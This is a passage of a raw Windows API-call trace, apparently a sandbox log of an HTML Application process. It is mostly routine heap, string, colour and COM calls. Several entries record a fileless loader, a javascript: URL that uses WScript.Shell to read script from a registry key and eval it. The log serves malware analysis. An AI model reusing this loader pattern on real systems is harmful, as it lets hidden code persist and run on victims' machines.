returned 0x9174e8 [0252.100] IsCharAlphaNumericW (ch=0x20) returned 0 [0252.100] IsCharSpaceW (wch=0x20) returned 1 [0252.100] IsCharSpaceW (wch=0x7b) returned 0 [0252.100] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x1c) returned 0x9111c0 [0252.100] IsCharSpaceW (wch=0x20) returned 1 [0252.100] IsCharAlphaNumericW (ch=0x7b) returned 0 [0252.100] IsCharSpaceW (wch=0x62) returned 0 [0252.100] IsCharAlphaNumericW (ch=0x3a) returned 0 [0252.100] IsCharSpaceW (wch=0x3a) returned 0 [0252.100] IsCharAlphaNumericW (ch=0x3a) returned 0 [0252.101] IsCharSpaceW (wch=0x75) returned 0 [0252.101] IsCharAlphaNumericW (ch=0x28) returned 0 [0252.101] IsCharSpaceW (wch=0x28) returned 0 [0252.101] IsCharAlphaNumericW (ch=0x28) returned 0 [0252.101] IsCharSpaceW (wch=0x23) returned 0 [0252.101] IsCharSpaceW (wch=0x23) returned 0 [0252.101] IsCharSpaceW (wch=0x7d) returned 0 [0252.101] IsCharAlphaNumericW (ch=0x7d) returned 0 [0252.101] IsCharSpaceW (wch=0x29) returned 0 [0252.101] IsCharSpaceW (wch=0x75) returned 0 [0252.101] IsCharSpaceW (wch=0x75) returned 0 [0252.101] IsCharSpaceW (wch=0x29) returned 0 [0252.101] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x34) returned 0x8fd2a0 [0252.101] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x2) returned 0x910d48 [0252.101] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x10) returned 0x917650 [0252.102] CoTaskMemFree (pv=0x91e290) [0252.102] CoTaskMemFree (pv=0x9175f0) [0252.102] wcsncmp (_String1="HKCU\\", _String2="HKCU\\", _MaxCount=0x5) returned 0 [0252.102] StrCmpCW (pszStr1="Software\\Microsoft\\Internet Explorer", pszStr2="Software\\Microsoft\\Windows Mail\\Trident") returned -14 [0252.102] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x4a) returned 0x91e290 [0252.102] GetSysColor (nIndex=26) returned 0xcc6600 [0252.102] GetSysColor (nIndex=5) returned 0xffffff [0252.102] GetSysColor (nIndex=8) returned 0x0 [0252.102] GetSysColor (nIndex=26) returned 0xcc6600 [0252.102] GetSysColor (nIndex=5) returned 0xffffff [0252.102] GetSysColor (nIndex=8) returned 0x0 [0252.155] wcstol (in: _String="0,0,255", _EndPtr=0x3dd938, _Radix=10 | out: _EndPtr=0x3dd938*=",0,255") returned 0 [0252.155] wcstol (in: _String="0,255", _EndPtr=0x3dd938, _Radix=10 | out: _EndPtr=0x3dd938*=",255") returned 0 [0252.155] wcstol (in: _String="255", _EndPtr=0x3dd938, _Radix=10 | out: _EndPtr=0x3dd938*="") returned 255 [0252.155] wcstol (in: _String="128,0,128", _EndPtr=0x3dd938, _Radix=10 | out: _EndPtr=0x3dd938*=",0,128") returned 128 [0252.155] wcstol (in: _String="0,128", _EndPtr=0x3dd938, _Radix=10 | out: _EndPtr=0x3dd938*=",128") returned 0 [0252.155] wcstol (in: _String="128", _EndPtr=0x3dd938, _Radix=10 | out: _EndPtr=0x3dd938*="") returned 128 [0252.165] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x3a) returned 0x9148c8 [0252.166] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x9a) returned 0x921e40 [0252.166] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x26) returned 0x912f58 [0252.167] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x9e) returned 0x9266f8 [0252.167] GetProcessHeap () returned 0x8f0000 [0252.167] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x8fd2e0 | out: hHeap=0x8f0000) returned 1 [0252.167] GetProcessHeap () returned 0x8f0000 [0252.167] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x8fd060 | out: hHeap=0x8f0000) returned 1 [0252.167] GetProcessHeap () returned 0x8f0000 [0252.167] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x910de8 | out: hHeap=0x8f0000) returned 1 [0252.168] _ltow_s (in: _Value=3, _Buffer=0x3dda40, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.168] _ltow_s (in: _Value=3, _Buffer=0x3dda40, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.168] _ltow_s (in: _Value=3, _Buffer=0x3dda40, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.168] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x24) returned 0x913018 [0252.169] _ltow_s (in: _Value=3, _Buffer=0x3dda40, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.169] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x1c) returned 0x911210 [0252.169] _ltow_s (in: _Value=3, _Buffer=0x3dda40, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.169] _ltow_s (in: _Value=3, _Buffer=0x3dda40, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.169] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x10) returned 0x917488 [0252.169] _ltow_s (in: _Value=3, _Buffer=0x3dda40, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0252.169] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x16) returned 0x910460 [0252.169] GetAcceptLanguagesW () returned 0x0 [0252.170] LocaleNameToLCID (lpName="en-US", dwFlags=0x8000000) returned 0x409 [0252.170] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x10) returned 0x917698 [0252.170] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xb0) returned 0x9267a0 [0252.170] LCIDToLocaleName (in: Locale=0x409, lpName=0x9267a4, cchName=85, dwFlags=0x8000000 | out: lpName="en-US") returned 6 [0252.170] RtlReAllocateHeap (Heap=0x8f0000, Flags=0x0, Ptr=0x917698, Size=0xb0) returned 0x926858 [0252.170] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x9267a0 | out: hHeap=0x8f0000) returned 1 [0252.170] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x10) returned 0x9176c8 [0252.170] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x926858 | out: hHeap=0x8f0000) returned 1 [0252.170] memcpy_s (in: _Destination=0x3ded08, _DestinationSize=0x1000, _Source=0x7387f084, _SourceSize=0xc | out: _Destination=0x3ded08) returned 0x0 [0252.170] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x10) returned 0x917698 [0252.170] GetClassNameW (in: hWnd=0x70044, lpClassName=0x3dfcfc, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0252.171] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0252.171] GetParent (hWnd=0x70044) returned 0x70126 [0252.171] GetClassNameW (in: hWnd=0x70126, lpClassName=0x3dfcfc, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0252.171] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0252.171] GetParent (hWnd=0x70126) returned 0x0 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x1c) returned 0x911328 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x1c) returned 0x926898 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x1a) returned 0x926870 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x1a) returned 0x926988 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x1a) returned 0x9269b0 [0252.171] _ltow_s (in: _Value=0, _Buffer=0x3df9b8, _BufferCount=0x21, _Radix=10 | out: _Buffer="0") returned 0x0 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x12) returned 0x910440 [0252.171] _ltow_s (in: _Value=5, _Buffer=0x3df9b8, _BufferCount=0x21, _Radix=10 | out: _Buffer="5") returned 0x0 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x12) returned 0x9103c0 [0252.171] _ltow_s (in: _Value=7, _Buffer=0x3df9b8, _BufferCount=0x21, _Radix=10 | out: _Buffer="7") returned 0x0 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x12) returned 0x910420 [0252.171] _ltow_s (in: _Value=8, _Buffer=0x3df9b8, _BufferCount=0x21, _Radix=10 | out: _Buffer="8") returned 0x0 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x12) returned 0x9103e0 [0252.171] _ltow_s (in: _Value=9, _Buffer=0x3df9b8, _BufferCount=0x21, _Radix=10 | out: _Buffer="9") returned 0x0 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x12) returned 0x910620 [0252.171] _ltow_s (in: _Value=10, _Buffer=0x3df9b8, _BufferCount=0x21, _Radix=10 | out: _Buffer="10") returned 0x0 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x14) returned 0x910640 [0252.171] _ltow_s (in: _Value=11, _Buffer=0x3df9b8, _BufferCount=0x21, _Radix=10 | out: _Buffer="11") returned 0x0 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x14) returned 0x910600 [0252.171] _ltow_s (in: _Value=12, _Buffer=0x3df9b8, _BufferCount=0x21, _Radix=10 | out: _Buffer="12") returned 0x0 [0252.171] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x14) returned 0x9104e0 [0252.172] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x12) returned 0x910660 [0252.172] memcpy_s (in: _Destination=0x116c450, _DestinationSize=0x6, _Source=0x910eb8, _SourceSize=0x4 | out: _Destination=0x116c450) returned 0x0 [0252.172] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xc) returned 0x9174a0 [0252.172] memcpy_s (in: _Destination=0x116c470, _DestinationSize=0x8, _Source=0x910e68, _SourceSize=0x6 | out: _Destination=0x116c470) returned 0x0 [0252.172] GetProcessHeap () returned 0x8f0000 [0252.172] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x910eb8 | out: hHeap=0x8f0000) returned 1 [0252.172] GetProcessHeap () returned 0x8f0000 [0252.172] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x910e68 | out: hHeap=0x8f0000) returned 1 [0252.172] GetProcessHeap () returned 0x8f0000 [0252.172] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x910e98 | out: hHeap=0x8f0000) returned 1 [0252.172] IUnknown:AddRef (This=0x9156bc) returned 0x6 [0252.173] UrlGetLocationW (psz1="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();") returned 0x0 [0252.173] UrlGetLocationW (psz1=0x0) returned 0x0 [0252.173] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ppmk=0x3dfb18*=0x0, dwFlags=0x1 | out: ppmk=0x3dfb18*=0x8fd2e0) returned 0x0 [0252.173] DllGetClassObject (in: rclsid=0x8fd7c4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3df240 | out: ppv=0x3df240*=0x7376b5fc) returned 0x0 [0252.173] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3df70c | out: ppvObject=0x3df70c*=0x7376b608) returned 0x0 [0252.173] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.173] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ParseAction=1, dwParseFlags=0x10000, pwzResult=0x9090e0, cchResult=0x824, pcchResult=0x3dfa24, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3dfa24*=0x0) returned 0x800c0011 [0252.174] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.174] CreateUri (in: pwzURI="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", dwFlags=0x3002b84, dwReserved=0x0, ppURI=0x3dfb04 | out: ppURI=0x3dfb04*=0x9116a4) returned 0x0 [0252.174] IUri:GetScheme (in: This=0x9116a4, pdwScheme=0x3dfa9c | out: pdwScheme=0x3dfa9c*=0xf) returned 0x0 [0252.174] CoInternetIsFeatureEnabled (FeatureEntry=0x1, dwFlags=0x2) returned 0x1 [0252.174] IUnknown:QueryInterface (in: This=0x9116a4, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3dfa88 | out: ppvObject=0x3dfa88*=0x9116a4) returned 0x0 [0252.174] IUnknown:Release (This=0x9116a4) returned 0x3 [0252.174] IUnknown:AddRef (This=0x9116a4) returned 0x4 [0252.174] IUnknown:Release (This=0x9116a4) returned 0x3 [0252.174] IUnknown:AddRef (This=0x9116a4) returned 0x4 [0252.175] IUri:GetAbsoluteUri (in: This=0x9116a4, pbstrAbsoluteUri=0x114e240 | out: pbstrAbsoluteUri=0x114e240*="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();") returned 0x0 [0252.175] IUnknown:Release (This=0x9116a4) returned 0x3 [0252.175] IUnknown:AddRef (This=0x8fd2e0) returned 0x2 [0252.175] IUnknown:Release (This=0x8fd2e0) returned 0x1 [0252.175] IUnknown:AddRef (This=0x8fd120) returned 0x3 [0252.175] IUnknown:Release (This=0x8fd2e0) returned 0x0 [0252.175] CoInternetIsFeatureEnabled (FeatureEntry=0x15, dwFlags=0x2) returned 0x1 [0252.175] IUnknown:AddRef (This=0x8fd120) returned 0x4 [0252.175] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df6a8 | out: ppvObject=0x3df6a8*=0x9156bc) returned 0x0 [0252.175] IUnknown:Release (This=0x9156bc) returned 0x6 [0252.175] IUnknown:AddRef (This=0x9156bc) returned 0x7 [0252.175] IUnknown:QueryInterface (in: This=0x8fd120, riid=0x728be2f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x3df680 | out: ppvObject=0x3df680*=0x8fd12c) returned 0x0 [0252.176] IUriContainer:GetIUri (in: This=0x8fd12c, ppIUri=0x3df928 | out: ppIUri=0x3df928*=0x9156bc) returned 0x0 [0252.176] IUnknown:Release (This=0x8fd12c) returned 0x4 [0252.176] IUnknown:AddRef (This=0x8fd120) returned 0x5 [0252.176] IUnknown:Release (This=0x8fd120) returned 0x4 [0252.176] IUnknown:AddRef (This=0x9156bc) returned 0x9 [0252.176] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df6a8 | out: ppvObject=0x3df6a8*=0x9156bc) returned 0x0 [0252.176] IUnknown:Release (This=0x9156bc) returned 0x9 [0252.176] IUnknown:AddRef (This=0x9156bc) returned 0xa [0252.176] IUri:GetScheme (in: This=0x9156bc, pdwScheme=0x3df6bc | out: pdwScheme=0x3df6bc*=0xf) returned 0x0 [0252.176] GetCurrentProcessId () returned 0xec8 [0252.176] GetCurrentProcessId () returned 0xec8 [0252.176] IUnknown:QueryInterface (in: This=0x9156bc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df6a8 | out: ppvObject=0x3df6a8*=0x9156bc) returned 0x0 [0252.176] IUnknown:Release (This=0x9156bc) returned 0xa [0252.176] IUnknown:AddRef (This=0x9156bc) returned 0xb [0252.177] IUri:GetScheme (in: This=0x9156bc, pdwScheme=0x3df690 | out: pdwScheme=0x3df690*=0xf) returned 0x0 [0252.177] IUri:GetAbsoluteUri (in: This=0x9156bc, pbstrAbsoluteUri=0x3df6b4 | out: pbstrAbsoluteUri=0x3df6b4*="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();") returned 0x0 [0252.177] SysStringLen (param_1="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();") returned 0x64 [0252.177] CreateUri (in: pwzURI="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0x3df914 | out: ppURI=0x3df914*=0x9116a4) returned 0x0 [0252.177] IUnknown:Release (This=0x9156bc) returned 0xa [0252.177] IUri:GetScheme (in: This=0x9116a4, pdwScheme=0x3df66c | out: pdwScheme=0x3df66c*=0xf) returned 0x0 [0252.177] IUnknown:QueryInterface (in: This=0x9116a4, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3df658 | out: ppvObject=0x3df658*=0x9116a4) returned 0x0 [0252.177] IUnknown:Release (This=0x9116a4) returned 0x4 [0252.177] IUnknown:AddRef (This=0x9116a4) returned 0x5 [0252.177] IUnknown:Release (This=0x9116a4) returned 0x4 [0252.177] IUnknown:AddRef (This=0x9116a4) returned 0x5 [0252.177] IUri:GetPropertyDWORD (in: This=0x9116a4, uriProp=0x11, pdwProperty=0x3df42c, dwFlags=0x0 | out: pdwProperty=0x3df42c*=0xf) returned 0x0 [0252.177] IUnknown:AddRef (This=0x918ee0) returned 0x2 [0252.177] IUnknown:QueryInterface (in: This=0x7387f4d4, riid=0x7410a5cc*(Data1=0xc90db44a, Data2=0x1902, Data3=0x451e, Data4=([0]=0xbd, [1]=0xf0, [2]=0x5c, [3]=0x89, [4]=0x66, [5]=0xb, [6]=0x52, [7]=0x8c)), ppvObject=0x3df384 | out: ppvObject=0x3df384*=0x0) returned 0x80004002 [0252.178] DllGetClassObject (in: rclsid=0x8fd7c4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ded38 | out: ppv=0x3ded38*=0x7376b5fc) returned 0x0 [0252.178] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3deda4 | out: ppvObject=0x3deda4*=0x7376b608) returned 0x0 [0252.178] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.178] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ParseAction=3, dwParseFlags=0x0, pwzResult=0x91be00, cchResult=0x65, pcchResult=0x3ded9c, dwReserved=0x0 | out: pwzResult="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", pcchResult=0x3ded9c*=0x65) returned 0x0 [0252.178] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xce) returned 0x91caa8 [0252.178] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x91caa8 | out: hHeap=0x8f0000) returned 1 [0252.178] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.178] DllGetClassObject (in: rclsid=0x8fd7c4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3de8b0 | out: ppv=0x3de8b0*=0x7376b5fc) returned 0x0 [0252.178] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3deda8 | out: ppvObject=0x3deda8*=0x7376b608) returned 0x0 [0252.178] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0252.178] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ParseAction=17, dwParseFlags=0x0, pwzResult=0x91b818, cchResult=0x65, pcchResult=0x3deda4, dwReserved=0x0 | out: pwzResult="", pcchResult=0x3deda4*=0x0) returned 0x800c0011 [0252.178] IUnknown:Release (This=0x7376b608) returned 0x1 [0252.178] IUnknown:Release (This=0x918ee0) returned 0x1 [0252.179] IUnknown:Release (This=0x9116a4) returned 0x5 [0252.179] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x917668 | out: hHeap=0x8f0000) returned 1 [0252.179] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x69) returned 0x927020 [0252.179] memcpy_s (in: _Destination=0x927020, _DestinationSize=0x69, _Source=0x3df4b8, _SourceSize=0x69 | out: _Destination=0x927020) returned 0x0 [0252.179] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x917428 | out: hHeap=0x8f0000) returned 1 [0252.179] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x69) returned 0x927098 [0252.179] memcpy_s (in: _Destination=0x927098, _DestinationSize=0x69, _Source=0x3df4b8, _SourceSize=0x69 | out: _Destination=0x927098) returned 0x0 [0252.179] IUri:GetScheme (in: This=0x9156bc, pdwScheme=0x3df6bc | out: pdwScheme=0x3df6bc*=0xf) returned 0x0 [0252.179] GetDC (hWnd=0x0) returned 0xffffffff9101065d [0252.179] CreateCompatibleBitmap (hdc=0x9101065d, cx=1, cy=1) returned 0xffffffffa6050721 [0252.179] GetDIBits (in: hdc=0x9101065d, hbm=0xa6050721, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x3df240, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3df240) returned 1 [0252.179] GetDIBits (in: hdc=0x9101065d, hbm=0xa6050721, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x3df240, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3df240) returned 1 [0252.179] DeleteObject (ho=0xa6050721) returned 1 [0252.179] GetSysColor (nIndex=0) returned 0xc8c8c8 [0252.179] GetSysColor (nIndex=1) returned 0x0 [0252.179] GetSysColor (nIndex=2) returned 0xd1b499 [0252.179] GetSysColor (nIndex=3) returned 0xdbcdbf [0252.179] GetSysColor (nIndex=4) returned 0xf0f0f0 [0252.179] GetSysColor (nIndex=5) returned 0xffffff [0252.179] GetSysColor (nIndex=6) returned 0x646464 [0252.179] GetSysColor (nIndex=7) returned 0x0 [0252.179] GetSysColor (nIndex=8) returned 0x0 [0252.179] GetSysColor (nIndex=9) returned 0x0 [0252.179] GetSysColor (nIndex=10) returned 0xb4b4b4 [0252.180] GetSysColor (nIndex=11) returned 0xfcf7f4 [0252.180] GetSysColor (nIndex=12) returned 0xababab [0252.180] GetSysColor (nIndex=13) returned 0xd77800 [0252.180] GetSysColor (nIndex=14) returned 0xffffff [0252.180] GetSysColor (nIndex=15) returned 0xf0f0f0 [0252.180] GetSysColor (nIndex=16) returned 0xa0a0a0 [0252.180] GetSysColor (nIndex=17) returned 0x6d6d6d [0252.180] GetSysColor (nIndex=18) returned 0x0 [0252.180] GetSysColor (nIndex=19) returned 0x0 [0252.180] GetSysColor (nIndex=20) returned 0xffffff [0252.180] GetSysColor (nIndex=21) returned 0x696969 [0252.180] GetSysColor (nIndex=22) returned 0xe3e3e3 [0252.180] GetSysColor (nIndex=23) returned 0x0 [0252.180] GetSysColor (nIndex=24) returned 0xe1ffff [0252.180] GetSysColor (nIndex=25) returned 0x0 [0252.180] GetSysColor (nIndex=26) returned 0xcc6600 [0252.180] GetSysColor (nIndex=27) returned 0xead1b9 [0252.180] GetSysColor (nIndex=28) returned 0xf2e4d7 [0252.180] GetSysColor (nIndex=29) returned 0xd77800 [0252.180] GetSysColor (nIndex=30) returned 0xf0f0f0 [0252.180] GetSysColor (nIndex=31) returned 0x0 [0252.180] GetSysColor (nIndex=32) returned 0x0 [0252.180] GetSysColor (nIndex=33) returned 0x0 [0252.180] GetSysColor (nIndex=34) returned 0x0 [0252.180] GetSysColor (nIndex=35) returned 0x0 [0252.180] GetSysColor (nIndex=36) returned 0x0 [0252.180] GetSysColor (nIndex=37) returned 0x0 [0252.180] GetSysColor (nIndex=38) returned 0x0 [0252.180] GetSysColor (nIndex=39) returned 0x0 [0252.180] GetSysColor (nIndex=40) returned 0x0 [0252.180] GetSysColor (nIndex=41) returned 0x0 [0252.180] GetSysColor (nIndex=42) returned 0x0 [0252.180] GetSysColor (nIndex=43) returned 0x0 [0252.180] GetSysColor (nIndex=44) returned 0x0 [0252.180] GetSysColor (nIndex=45) returned 0x0 [0252.180] GetSysColor (nIndex=46) returned 0x0 [0252.180] GetSysColor (nIndex=47) returned 0x0 [0252.180] GetSysColor (nIndex=48) returned 0x0 [0252.180] GetSysColor (nIndex=49) returned 0x0 [0252.180] GetSysColor (nIndex=50) returned 0x0 [0252.180] GetSysColor (nIndex=51) returned 0x0 [0252.180] GetSysColor (nIndex=52) returned 0x0 [0252.180] GetSysColor (nIndex=53) returned 0x0 [0252.180] GetSysColor (nIndex=54) returned 0x0 [0252.180] GetSysColor (nIndex=55) returned 0x0 [0252.180] GetSysColor (nIndex=56) returned 0x0 [0252.181] GetSysColor (nIndex=57) returned 0x0 [0252.181] GetSysColor (nIndex=58) returned 0x0 [0252.181] GetSysColor (nIndex=59) returned 0x0 [0252.181] GetSysColor (nIndex=60) returned 0x0 [0252.181] GetSysColor (nIndex=61) returned 0x0 [0252.181] GetSysColor (nIndex=62) returned 0x0 [0252.181] GetSysColor (nIndex=63) returned 0x0 [0252.181] GetDeviceCaps (hdc=0x9101065d, index=38) returned 32409 [0252.181] ReleaseDC (hWnd=0x0, hDC=0x9101065d) returned 1 [0252.181] IUri:GetAbsoluteUri (in: This=0x9116a4, pbstrAbsoluteUri=0x3df8cc | out: pbstrAbsoluteUri=0x3df8cc*="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();") returned 0x0 [0252.181] GetCurrentProcessId () returned 0xec8 [0252.182] GetCurrentThreadId () returned 0x15c [0252.182] GetCurrentProcessId () returned 0xec8 [0252.182] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x10) returned 0x8fccc0 [0252.182] IUnknown:AddRef (This=0x918ee0) returned 0x2 [0252.182] IUnknown:Release (This=0x918ee0) returned 0x1 [0252.266] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x20) returned 0x926a28 